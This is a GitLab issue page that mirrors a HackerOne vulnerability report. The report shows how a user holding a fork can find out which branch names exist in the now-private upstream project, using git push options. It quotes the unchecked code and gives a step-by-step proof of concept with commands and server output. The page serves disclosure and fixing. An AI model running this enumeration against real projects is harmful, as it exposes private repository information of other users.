Skip to content
GitLab
Next
    • GitLab: the DevOps platform
    • Explore GitLab
    • Install GitLab
    • How GitLab compares
    • Get started
    • GitLab docs
    • GitLab Learn
  • Pricing
  • Talk to an expert
  • /
  • Help
    • Help
    • Support
    • Community forum
    • Submit feedback
    • Contribute to GitLab
    Projects Groups Topics Snippets
  • Register
  • Sign in
  • GitLab GitLab
  • Project information
    • Project information
    • Activity
    • Labels
    • Members
  • Repository
    • Repository
    • Files
    • Commits
    • Branches
    • Tags
    • Contributor statistics
    • Graph
    • Compare revisions
    • Locked files
  • Issues 54.9k
    • Issues 54.9k
    • List
    • Boards
    • Service Desk
    • Milestones
    • Iterations
    • Requirements
  • Merge requests 1.5k
    • Merge requests 1.5k
  • CI/CD
    • CI/CD
    • Pipelines
    • Jobs
    • Artifacts
    • Schedules
    • Test cases
  • Deployments
    • Deployments
    • Environments
    • Releases
  • Packages and registries
    • Packages and registries
    • Package Registry
    • Container Registry
    • Terraform modules
    • Model experiments
  • Monitor
    • Monitor
    • Incidents
  • Analytics
    • Analytics
    • Value stream
    • CI/CD
    • Code review
    • Insights
    • Issue
    • Repository
  • Snippets
    • Snippets
  • Activity
  • Graph
  • Create a new issue
  • Jobs
  • Commits
  • Issue Boards
Collapse sidebar
  • GitLab.orgGitLab.org
  • GitLabGitLab
  • Issues
  • #376041
Closed
Open
Issue created Sep 30, 2022 by GitLab SecurityBot@gitlab-securitybotReporter

Private project branches can be leaked through a fork

HackerOne report #1710533 by shells3c on 2022-09-23, assigned to @dcouture:

Report | How To Reproduce

Report

Summary

If you have a fork of a private/restricted project, you can easily scan for its branch names via Push Options with that fork.

The problem is caused by app/services/merge_requests/push_options_handler_service.rb:67

    if push_options[:target] && !target_project.repository.branch_exists?(push_options[:target])  
        errors << "Target branch #{target_project.full_path}:#{push_options[:target]} does not exist"  

It doesn't check if the user has the access to the project repository or not, therefore leaking the information unintentionally

Steps to reproduce
  1. Victim creates a project, say victim/project
  2. Attacker forks that project: attacker/project
  3. Victim makes that project private
  4. From the attacker's terminal:
$ git clone https://gitlab.instance/attacker/project.git  
Cloning into 'project'...  
remote: Enumerating objects: 52, done.  
remote: Total 52 (delta 0), reused 0 (delta 0), pack-reused 52  
Receiving objects: 100% (52/52), 5.50 KiB | 268.00 KiB/s, done.  
Resolving deltas: 100% (6/6), done.  
$ cd project  
$ echo a > foo; git add -A; git commit -m .  
...  
$ # Let's check if this-branch-does-not-exist exists or not  
$ git push -o merge_request.create -o merge_request.target=this-branch-does-not-exist  
Username for 'https://gitlab.instance': attacker  
Password for 'https://attacker@gitlab.instance':  
Enumerating objects: 3, done.  
Counting objects: 100% (3/3), done.  
Delta compression using up to 8 threads  
Compressing objects: 100% (2/2), done.  
Writing objects: 100% (2/2), 345 bytes | 345.00 KiB/s, done.  
Total 2 (delta 1), reused 0 (delta 0), pack-reused 0  
remote:  
remote: ========================================================================  
remote:  
remote:              WARNINGS: Error encountered with push options  
remote:                          'merge_request.create'  
remote:     'merge_request.target=this-branch-does-not-exist': Target branch  
remote:    victim/project:this-branch-does-not-exist does not exist  
remote:  
remote: ========================================================================  
remote:  
To https://gitlab.instance/attacker/project.git  
   ...  
$ #The branch does not exist on victim/project, let's check if this-branch-exists exists or not  
$ echo b > foo; git add -A; git commit -m .  
...  
$ git push -o merge_request.create -o merge_request.target=this-branch-exists  
Username for 'https://gitlab.instance': attacker  
Password for 'https://attacker@gitlab.instance':  
Enumerating objects: 3, done.  
Counting objects: 100% (3/3), done.  
Delta compression using up to 8 threads  
Compressing objects: 100% (2/2), done.  
Writing objects: 100% (2/2), 345 bytes | 345.00 KiB/s, done.  
Total 2 (delta 1), reused 0 (delta 0), pack-reused 0  
To https://gitlab.instance/attacker/project.git  
   ...  
$ #No error -> the branch exists  
Output of checks

This bug happens on GitLab.com

Impact

Ability to enumerate branches of any private or restricted project if you have access to at least a fork

How To Reproduce

Please add reproducibility information to this section:

Assignee
Assign to
Time tracking